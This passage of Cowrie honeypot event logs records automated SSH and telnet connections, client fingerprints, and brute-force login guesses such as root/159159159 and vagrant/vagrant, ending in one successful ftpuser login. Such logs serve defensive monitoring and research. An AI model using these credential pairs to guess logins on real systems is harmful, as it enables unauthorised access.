AAAAB3NzaC1yc2EAAAADAQABAAACAQDeExaPROh7EXnFDq9FfhsbUX2VuFcVp5HQatdCCE0LBAFzq2Sg6RaVRAGcAXxh1G2FBSRvav1AlFoLzeyO27xOMF0k9xmoOBwc11EatNA8Y9xvvTheOC8KvBbrleXiVYrW8NJ+66cM8h6LWxcYkCZ3ztoQrHxVYF6pBKxknYZ+lp+jOevSYi38UVYTipLvGuResuFwPzWZ701vREugWlfuokYMwvIu0VAyzrMYe6DOs13LwQBw3JDcCjdzTN2Ny4JsfvOhEELnYpRwnRs+S9V5MuW9Z9zdCqEkJnfvQ6qaolSdA5RlmhC3pHfNeGdeZQzuoDCnnuhqn0KIiHsPu8XG8HPHfGRHY5R1yrx+8ZMPZhbcYCMzetqRNoYIMzayCfKNn4Q9cDrVcWMB2QTVfpyX9T3BYO/oA1ZS53lBXwxJMHOtSJ96qmXd/3DLvm+ss6jCkyJXGHGVph0olTTqHt7JQ6F1UKAwKH4uXA7RW56ZX9aSGt/8NVSOns7K8N+yuZdDE5KguVVYIKsbpO3dY351V8f5bKcD7qVfqb10EKthdquRp2b5GNXbcXEShG8n2X8trgrpp/reKc8MrEI4hXOb2eadLoFlVG3FTJ8gXbkMYptHNdwPvdVHrlqLKNNH26sQ8LqRMkjEnSeCX9eN2PrFUKK8xlJ+tGN86ho2eYPZDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.517356Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.653490Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.766130208969116,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.672549Z","src_ip":"192.119.13.58","session":"eb507c885223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":60488,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84c5577426a","protocol":"ssh","message":"New connection: 94.159.98.239:60488 (159.203.135.109:22) [session: f84c5577426a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:40.847609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:41.047200Z","src_ip":"94.159.98.239","session":"f84c5577426a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:41.051216Z","src_ip":"94.159.98.239","session":"f84c5577426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159159","message":"login attempt [root/159159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:42.333871Z","src_ip":"94.159.98.239","session":"f84c5577426a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:44.832453Z","src_ip":"94.159.98.239","session":"f84c5577426a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"d577a16b4c02","protocol":"telnet","message":"New connection: 192.119.13.58:40714 (10.17.0.5:23) [session: d577a16b4c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:46.298775Z"}
{"eventid":"cowrie.session.closed","duration":45.70653748512268,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:47.847765Z","src_ip":"192.119.13.58","session":"a197e39f0343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.26856541633606,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:49.501979Z","src_ip":"192.119.13.58","session":"ba1c9e08b512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.78263878822327,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:53.886122Z","src_ip":"192.119.13.58","session":"1f8596692547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.20529127120972,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:53.948669Z","src_ip":"192.119.13.58","session":"a2a1a031476b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40378,"dst_ip":"10.17.0.5","dst_port":23,"session":"883e61432e2d","protocol":"telnet","message":"New connection: 192.119.13.58:40378 (10.17.0.5:23) [session: 883e61432e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:54.837957Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe24f35fb19e","protocol":"telnet","message":"New connection: 192.119.13.58:45758 (10.17.0.5:23) [session: fe24f35fb19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:56.455571Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46192,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ea73955f64","protocol":"telnet","message":"New connection: 192.119.13.58:46192 (10.17.0.5:23) [session: 44ea73955f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:56.568405Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":482,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad802f81e70","protocol":"ssh","message":"New connection: 103.24.63.85:482 (159.203.135.109:22) [session: 6ad802f81e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:57.796762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:57.825418Z","src_ip":"103.24.63.85","session":"6ad802f81e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:58.024425Z","src_ip":"103.24.63.85","session":"6ad802f81e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.845845937728882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:58.630633Z","src_ip":"192.119.13.58","session":"8f31b1304c21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:58.762857Z","src_ip":"103.24.63.85","session":"6ad802f81e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:59.960062Z","src_ip":"103.24.63.85","session":"6ad802f81e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"5452f9410477","protocol":"telnet","message":"New connection: 192.119.13.58:33072 (10.17.0.5:23) [session: 5452f9410477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:01.121213Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48106,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99cc3162a8a","protocol":"telnet","message":"New connection: 192.119.13.58:48106 (10.17.0.5:23) [session: f99cc3162a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:05.394433Z"}
{"eventid":"cowrie.session.closed","duration":45.518855571746826,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:07.201286Z","src_ip":"192.119.13.58","session":"9e76ef5f60d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b276a2b0b5e","protocol":"telnet","message":"New connection: 192.119.13.58:42284 (10.17.0.5:23) [session: 2b276a2b0b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:12.136787Z"}
{"eventid":"cowrie.session.closed","duration":40.551837682724,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:14.034224Z","src_ip":"192.119.13.58","session":"f51f0d312a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48832,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6587f093840","protocol":"ssh","message":"New connection: 80.66.85.226:48832 (159.203.135.109:22) [session: d6587f093840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:15.616699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:15.626447Z","src_ip":"80.66.85.226","session":"d6587f093840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:15.730228Z","src_ip":"80.66.85.226","session":"d6587f093840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satana666","message":"login attempt [root/satana666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:16.062439Z","src_ip":"80.66.85.226","session":"d6587f093840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:17.156831Z","src_ip":"80.66.85.226","session":"d6587f093840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60158,"dst_ip":"10.17.0.5","dst_port":23,"session":"5598bff01451","protocol":"telnet","message":"New connection: 192.119.13.58:60158 (10.17.0.5:23) [session: 5598bff01451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:17.526914Z"}
{"eventid":"cowrie.session.closed","duration":32.47091221809387,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:18.769559Z","src_ip":"192.119.13.58","session":"d577a16b4c02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46420,"dst_ip":"10.17.0.5","dst_port":22,"session":"67aad4a3c5c9","protocol":"ssh","message":"New connection: 103.98.149.87:46420 (10.17.0.5:22) [session: 67aad4a3c5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:19.386111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:19.486060Z","src_ip":"103.98.149.87","session":"67aad4a3c5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:19.728344Z","src_ip":"103.98.149.87","session":"67aad4a3c5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"007007","message":"login attempt [root/007007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:20.745387Z","src_ip":"103.98.149.87","session":"67aad4a3c5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"80842c9ff02f","protocol":"telnet","message":"New connection: 192.119.13.58:50284 (10.17.0.5:23) [session: 80842c9ff02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:22.512967Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:22.799950Z","src_ip":"103.98.149.87","session":"67aad4a3c5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"46960b7acc16","protocol":"telnet","message":"New connection: 192.119.13.58:54950 (10.17.0.5:23) [session: 46960b7acc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:23.735337Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":40376,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e219387288","protocol":"ssh","message":"New connection: 14.224.227.189:40376 (159.203.135.109:22) [session: 11e219387288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:25.861541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:25.866085Z","src_ip":"14.224.227.189","session":"11e219387288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:26.110532Z","src_ip":"14.224.227.189","session":"11e219387288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2024","message":"login attempt [root/Passw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:27.116391Z","src_ip":"14.224.227.189","session":"11e219387288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:28.365414Z","src_ip":"14.224.227.189","session":"11e219387288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56906223297119,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:30.137324Z","src_ip":"192.119.13.58","session":"44ea73955f64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":23687,"dst_ip":"159.203.135.109","dst_port":22,"session":"8268878c4961","protocol":"ssh","message":"New connection: 103.24.63.85:23687 (159.203.135.109:22) [session: 8268878c4961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:31.682600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:31.689275Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:31.892849Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:32.489027Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
